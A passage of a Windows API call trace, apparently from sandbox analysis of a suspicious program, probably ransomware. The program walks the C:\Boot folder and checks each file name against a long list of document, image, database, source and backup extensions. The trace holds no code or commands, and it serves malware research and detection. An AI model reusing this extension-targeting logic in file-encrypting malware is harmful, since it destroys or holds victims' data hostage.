lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".pps") returned 4 [0092.835] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".ppsm") returned 5 [0092.835] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0092.835] lstrlenW (lpString=".ppt") returned 4 [0092.835] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".pptm") returned 5 [0092.835] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0092.836] lstrlenW (lpString=".pptx") returned 5 [0092.836] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0092.836] lstrlenW (lpString=".prn") returned 4 [0092.836] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".ps") returned 3 [0092.836] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0092.836] lstrlenW (lpString=".psb") returned 4 [0092.836] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".psd") returned 4 [0092.836] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".pst") returned 4 [0092.836] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".ptx") returned 4 [0092.836] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".pub") returned 4 [0092.836] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".pwm") returned 4 [0092.836] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".pxr") returned 4 [0092.836] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".py") returned 3 [0092.836] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0092.836] lstrlenW (lpString=".qt") returned 3 [0092.836] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0092.836] lstrlenW (lpString=".r3d") returned 4 [0092.836] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0092.836] lstrlenW (lpString=".raf") returned 4 [0092.837] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0092.837] lstrlenW (lpString=".rar") returned 4 [0092.837] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0092.837] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0092.837] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0092.837] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0092.837] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0092.837] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0092.837] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0092.837] lstrlenW (lpString="C:\\Boot\\ko-KR") returned 13 [0092.838] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260750 [0092.838] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.838] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0092.838] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0092.838] lstrlenW (lpString=".1cd") returned 4 [0092.838] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0092.838] lstrlenW (lpString=".3ds") returned 4 [0092.838] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0092.838] lstrlenW (lpString=".3fr") returned 4 [0092.838] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0092.838] lstrlenW (lpString=".3g2") returned 4 [0092.838] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0092.838] lstrlenW (lpString=".3gp") returned 4 [0092.838] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0092.838] lstrlenW (lpString=".7z") returned 3 [0092.838] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0092.838] lstrlenW (lpString=".accda") returned 6 [0092.838] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".accdb") returned 6 [0092.839] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".accdc") returned 6 [0092.839] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".accde") returned 6 [0092.839] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".accdt") returned 6 [0092.839] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".accdw") returned 6 [0092.839] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0092.839] lstrlenW (lpString=".adb") returned 4 [0092.839] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".adp") returned 4 [0092.839] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai") returned 3 [0092.839] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0092.839] lstrlenW (lpString=".ai3") returned 4 [0092.839] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai4") returned 4 [0092.839] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai5") returned 4 [0092.839] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai6") returned 4 [0092.839] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai7") returned 4 [0092.839] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0092.839] lstrlenW (lpString=".ai8") returned 4 [0092.840] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".anim") returned 5 [0092.840] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0092.840] lstrlenW (lpString=".arw") returned 4 [0092.840] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".as") returned 3 [0092.840] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0092.840] lstrlenW (lpString=".asa") returned 4 [0092.840] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".asc") returned 4 [0092.840] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".ascx") returned 5 [0092.840] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0092.840] lstrlenW (lpString=".asm") returned 4 [0092.840] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".asmx") returned 5 [0092.840] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0092.840] lstrlenW (lpString=".asp") returned 4 [0092.840] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".aspx") returned 5 [0092.840] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0092.840] lstrlenW (lpString=".asr") returned 4 [0092.840] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".asx") returned 4 [0092.840] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0092.840] lstrlenW (lpString=".avi") returned 4 [0092.840] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".avs") returned 4 [0092.841] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".backup") returned 7 [0092.841] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0092.841] lstrlenW (lpString=".bak") returned 4 [0092.841] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".bay") returned 4 [0092.841] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".bd") returned 3 [0092.841] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0092.841] lstrlenW (lpString=".bin") returned 4 [0092.841] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".bmp") returned 4 [0092.841] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".bz2") returned 4 [0092.841] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".c") returned 2 [0092.841] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0092.841] lstrlenW (lpString=".cdr") returned 4 [0092.841] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".cer") returned 4 [0092.841] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".cf") returned 3 [0092.841] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0092.841] lstrlenW (lpString=".cfc") returned 4 [0092.841] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".cfm") returned 4 [0092.841] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0092.841] lstrlenW (lpString=".cfml") returned 5 [0092.842] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0092.842] lstrlenW (lpString=".cfu") returned 4 [0092.842] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".chm") returned 4 [0092.842] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".cin") returned 4 [0092.842] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".class") returned 6 [0092.842] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0092.842] lstrlenW (lpString=".clx") returned 4 [0092.842] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".config") returned 7 [0092.842] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0092.842] lstrlenW (lpString=".cpp") returned 4 [0092.842] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".cr2") returned 4 [0092.842] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".crt") returned 4 [0092.842] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".crw") returned 4 [0092.842] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".cs") returned 3 [0092.842] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0092.842] lstrlenW (lpString=".css") returned 4 [0092.842] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0092.842] lstrlenW (lpString=".csv") returned 4 [0092.843] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".cub") returned 4 [0092.843] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dae") returned 4 [0092.843] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dat") returned 4 [0092.843] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".db") returned 3 [0092.843] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0092.843] lstrlenW (lpString=".dbf") returned 4 [0092.843] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dbx") returned 4 [0092.843] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dc3") returned 4 [0092.843] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dcm") returned 4 [0092.843] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dcr") returned 4 [0092.843] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".der") returned 4 [0092.843] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dib") returned 4 [0092.843] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dic") returned 4 [0092.843] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".dif") returned 4 [0092.843] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0092.843] lstrlenW (lpString=".divx") returned 5 [0092.844] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".djvu") returned 5 [0092.844] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".dng") returned 4 [0092.844] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0092.844] lstrlenW (lpString=".doc") returned 4 [0092.844] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0092.844] lstrlenW (lpString=".docm") returned 5 [0092.844] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".docx") returned 5 [0092.844] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".dot") returned 4 [0092.844] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0092.844] lstrlenW (lpString=".dotm") returned 5 [0092.844] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".dotx") returned 5 [0092.844] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0092.844] lstrlenW (lpString=".dpx") returned 4 [0092.845] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dqy") returned 4 [0092.845] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dsn") returned 4 [0092.845] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dt") returned 3 [0092.845] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0092.845] lstrlenW (lpString=".dtd") returned 4 [0092.845] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dwg") returned 4 [0092.845] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dwt") returned 4 [0092.845] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".dx") returned 3 [0092.845] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0092.845] lstrlenW (lpString=".dxf") returned 4 [0092.845] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".edml") returned 5 [0092.845] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0092.845] lstrlenW (lpString=".efd") returned 4 [0092.845] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".elf") returned 4 [0092.845] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".emf") returned 4 [0092.845] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0092.845] lstrlenW (lpString=".emz") returned 4 [0092.845] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".epf") returned 4 [0092.846] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".eps") returned 4 [0092.846] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".epsf") returned 5 [0092.846] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0092.846] lstrlenW (lpString=".epsp") returned 5 [0092.846] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0092.846] lstrlenW (lpString=".erf") returned 4 [0092.846] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".exr") returned 4 [0092.846] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".f4v") returned 4 [0092.846] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".fido") returned 5 [0092.846] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0092.846] lstrlenW (lpString=".flm") returned 4 [0092.846] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".flv") returned 4 [0092.846] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".frm") returned 4 [0092.846] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".fxg") returned 4 [0092.846] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0092.846] lstrlenW (lpString=".geo") returned 4 [0092.846] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".gif") returned 4 [0092.847] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".grs") returned 4 [0092.847] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".gz") returned 3 [0092.847] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0092.847] lstrlenW (lpString=".h") returned 2 [0092.847] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0092.847] lstrlenW (lpString=".hdr") returned 4 [0092.847] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".hpp") returned 4 [0092.847] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".hta") returned 4 [0092.847] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".htc") returned 4 [0092.847] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".htm") returned 4 [0092.847] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".html") returned 5 [0092.847] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0092.847] lstrlenW (lpString=".icb") returned 4 [0092.847] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".ics") returned 4 [0092.847] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".iff") returned 4 [0092.847] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0092.847] lstrlenW (lpString=".inc") returned 4 [0092.848] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".indd") returned 5 [0092.848] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0092.848] lstrlenW (lpString=".ini") returned 4 [0092.848] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".iqy") returned 4 [0092.848] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".j2c") returned 4 [0092.848] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".j2k") returned 4 [0092.848] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".java") returned 5 [0092.848] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0092.848] lstrlenW (lpString=".jp2") returned 4 [0092.848] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".jpc") returned 4 [0092.848] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".jpe") returned 4 [0092.848] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".jpeg") returned 5 [0092.848] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0092.848] lstrlenW (lpString=".jpf") returned 4 [0092.848] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".jpg") returned 4 [0092.848] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0092.848] lstrlenW (lpString=".jpx") returned 4 [0092.848] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".js") returned 3 [0092.849] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0092.849] lstrlenW (lpString=".jsf") returned 4 [0092.849] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".json") returned 5 [0092.849] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0092.849] lstrlenW (lpString=".jsp") returned 4 [0092.849] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".kdc") returned 4 [0092.849] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".kmz") returned 4 [0092.849] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".kwm") returned 4 [0092.849] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".lasso") returned 6 [0092.849] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0092.849] lstrlenW (lpString=".lbi") returned 4 [0092.849] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".lgf") returned 4 [0092.849] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".lgp") returned 4 [0092.849] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".log") returned 4 [0092.849] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".m1v") returned 4 [0092.849] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0092.849] lstrlenW (lpString=".m4a") returned 4 [0092.850] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0092.851] lstrlenW (lpString=".m4v") returned 4 [0092.851] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0092.851] lstrlenW (lpString=".max") returned 4 [0092.851] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0092.851] lstrlenW (lpString=".md") returned 3 [0092.851] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0092.851] lstrlenW (lpString=".mda") returned 4 [0092.851] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0092.851] lstrlenW (lpString=".mdb") returned 4 [0092.851] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0092.851] lstrlenW (lpString=".mde") returned 4 [0092.851] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0092.852] lstrlenW (lpString=".mdf") returned 4 [0092.852] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0092.852] lstrlenW (lpString=".mdw") returned 4 [0092.853] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mef") returned 4 [0092.853] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mft") returned 4 [0092.853] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mfw") returned 4 [0092.853] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mht") returned 4 [0092.853] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mhtml") returned 6 [0092.853] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0092.853] lstrlenW (lpString=".mka") returned 4 [0092.853] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mkidx") returned 6 [0092.853] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0092.853] lstrlenW (lpString=".mkv") returned 4 [0092.853] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mos") returned 4 [0092.853] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mov") returned 4 [0092.853] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0092.853] lstrlenW (lpString=".mp3") returned 4 [0092.853] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".mp4") returned 4 [0092.854] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".mpeg") returned 5 [0092.854] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0092.854] lstrlenW (lpString=".mpg") returned 4 [0092.854] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".mpv") returned 4 [0092.854] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".mrw") returned 4 [0092.854] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".msg") returned 4 [0092.854] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0092.854] lstrlenW (lpString=".mxl") returned 4 [0092.854] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 